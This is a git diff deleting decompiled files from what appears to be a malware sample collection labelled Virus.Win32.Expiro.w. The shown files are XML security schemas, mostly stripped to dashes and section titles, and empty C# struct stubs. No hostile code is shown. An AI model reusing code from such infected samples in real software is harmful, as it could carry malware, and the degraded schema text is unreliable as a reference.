a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy-2007.xsd deleted file mode 100644 index d2de4d0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy-2007.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy.xsd deleted file mode 100644 index e5faa306..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy.xsd +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy-1/2.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy-1/2.xsd deleted file mode 100644 index a70f4d62..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy-1/2.xsd +++ /dev/null @@ -1,1113 +0,0 @@ - - - - - - - - - - - - - 4.1.1 SignedParts Assertion - - - - - - - 4.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 4.1.2 SignedElements Assertion - - - - - - - 4.2.2 EncryptedElements Assertion - - - - - - - 4.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 5.1 Token Inclusion - - - - - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - 5.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 8=7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - 8.1 SupportingTokens Assertion - - - - - - - - - - - - - 8.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 8.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.5 SignedEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.6 EndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.7 SignedEndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - 10.1 Trust10 Assertion - - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy.xsd deleted file mode 100644 index 8eb7d416..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy.xsd +++ /dev/null @@ -1,979 +0,0 @@ - - - - - - - - - - - - 5.1.1 SignedParts Assertion - - - - - - - 5.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 5.1.2 SignedElements Assertion - - - - - - - 5.2.2 EncryptedElements Assertion - - - - - - - 5.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 6.1 Token Inclusion - - - - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - 6.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - 6.3.10 HttpsToken Assertion - - - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - - 9.1 SupportingTokens Assertion - - - - - - - - - - - - - 9.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 9.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 9.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - 11.1 Trust10 Assertion - - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust-1/3.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust-1/3.xsd deleted file mode 100644 index dff1c9b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust-1/3.xsd +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:Claims' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wst:RequestedSecurityToken' minOccurs='0' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:RequestedAttachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedUnattachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedProofToken' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:Status' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:Authenticator' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The RequestSecurityTokenCollection (RSTC) element is used to provide multiple RST requests. - One or more RSTR elements in an RSTRC element are returned in the response to the RequestSecurityTokenCollection. - - - - - - - - - - - - The <wst:RequestSecurityTokenResponseCollection> element (RSTRC) MUST be used to return a security token or - response to a security token request on the final response. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust.xsd deleted file mode 100644 index 0bf1518f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust.xsd +++ /dev/null @@ -1,451 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xenc-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xenc-schema.xsd deleted file mode 100644 index 534b29a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xenc-schema.xsd +++ /dev/null @@ -1,137 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xml.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xml.xsd deleted file mode 100644 index c63b7982..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xml.xsd +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - See http://www.w3.org/XML/1998/namespace.html and - http://www.w3.org/TR/REC-xml for information about this namespace. - - This schema document describes the XML namespace, in a form - suitable for import by other schema documents. - - Note that local names in this namespace are intended to be defined - only by the World Wide Web Consortium or its subgroups. The - following names are currently defined in this namespace and should - not be used with conflicting semantics by any Working Group, - specification, or document instance: - - base (as an attribute name): denotes an attribute whose value - provides a URI to be used as the base for interpreting any - relative URIs in the scope of the element on which it - appears; its value is inherited. This name is reserved - by virtue of its definition in the XML Base specification. - - id (as an attribute name): denotes an attribute whose value - should be interpreted as if declared to be of type ID. - The xml:id specification is not yet a W3C Recommendation, - but this attribute is included here to facilitate experimentation - with the mechanisms it proposes. Note that it is _not_ included - in the specialAttrs attribute group. - - lang (as an attribute name): denotes an attribute whose value - is a language code for the natural language of the content of - any element; its value is inherited. This name is reserved - by virtue of its definition in the XML specification. - - space (as an attribute name): denotes an attribute whose - value is a keyword indicating what whitespace processing - discipline is intended for the content of the element; its - value is inherited. This name is reserved by virtue of its - definition in the XML specification. - - Father (in any context at all): denotes Jon Bosak, the chair of - the original XML Working Group. This name is reserved by - the following decision of the W3C XML Plenary and - XML Coordination groups: - - In appreciation for his vision, leadership and dedication - the W3C XML Plenary on this 10th day of February, 2000 - reserves for Jon Bosak in perpetuity the XML name - xml:Father - - - - - This schema defines attributes and an attribute group - suitable for use by - schemas wishing to allow xml:base, xml:lang or xml:space attributes - on elements they define. - - To enable this, such a schema must import this schema - for the XML namespace, e.g. as follows: - <schema . . .> - . . . - <import namespace="http://www.w3.org/XML/1998/namespace" - schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - - Subsequently, qualified reference to any of the attributes - or the group defined below will have the desired effect, e.g. - - <type . . .> - . . . - <attributeGroup ref="xml:specialAttrs"/> - - will define a type which will schema-validate an instance - element with any of those attributes - - - - In keeping with the XML Schema WG's standard versioning - policy, this schema document will persist at - http://www.w3.org/2004/10/xml.xsd. - At the date of issue it can also be found at - http://www.w3.org/2001/xml.xsd. - The schema document at that URI may however change in the future, - in order to remain compatible with the latest version of XML Schema - itself, or with the XML namespace itself. In other words, if the XML - Schema or XML namespaces change, the version of this document at - http://www.w3.org/2001/xml.xsd will change - accordingly; the version at - http://www.w3.org/2004/10/xml.xsd will not change. - - - - - - Attempting to install the relevant ISO 2- and 3-letter - codes as the enumerated possible values is probably never - going to be a realistic possibility. See - RFC 3066 at http://www.ietf.org/rfc/rfc3066.txt and the IANA registry - at http://www.iana.org/assignments/lang-tag-apps.htm for - further information. - - - - - - - - - - - - - - - See http://www.w3.org/TR/xmlbase/ for - information about this attribute. - - - - - - See http://www.w3.org/TR/xml-id/ for - information about this attribute. - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xmldsig-core-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xmldsig-core-schema.xsd deleted file mode 100644 index 1f93cdfd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xmldsig-core-schema.xsd +++ /dev/null @@ -1,310 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_TypeDescriptor$_extraBytes_16.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_TypeDescriptor$_extraBytes_16.cs deleted file mode 100644 index c22332e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_TypeDescriptor$_extraBytes_16.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: $_TypeDescriptor$_extraBytes_16 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 24)] -internal struct \u0024_TypeDescriptor\u0024_extraBytes_16 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_s__RTTIBaseClassArray$_extraBytes_4.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_s__RTTIBaseClassArray$_extraBytes_4.cs deleted file mode 100644 index bcba0cb7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_s__RTTIBaseClassArray$_extraBytes_4.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: $_s__RTTIBaseClassArray$_extraBytes_4 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 5)] -internal struct \u0024_s__RTTIBaseClassArray\u0024_extraBytes_4 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/AssemblyInfo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/AssemblyInfo.cs deleted file mode 100644 index dbb4ebb1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/AssemblyInfo.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; -using System.Security.Permissions; - 